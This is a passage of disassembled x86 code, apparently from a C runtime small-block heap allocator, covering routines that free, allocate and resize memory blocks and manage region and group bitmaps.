		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC8F4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC8EC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC8EC
		mov	eax, dword_4DC8F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC8F4
		mov	ecx, dword_4DC8EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC8F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC8F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC8F4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC8F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC8F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC8F8
		cmp	eax, dword_4DC8F4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC8FC
		mov	dword_4DC8F0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC8EC, edi
		mov	dword_4DC8F4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC8F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC8F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC8F4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC8EC
		jnz	short loc_41E4C7
		and	dword_4DC8F4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC8F8
		mov	ecx, dword_4DC8E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC8FC
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 2850000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC8E8, 10h
		mov	dword_4DC8FC, eax
		mov	eax, dword_4DC8F8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC8FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC904
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27B0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 28A06F1h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 27A0000h


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC8F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 28A06F1h
		nop
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
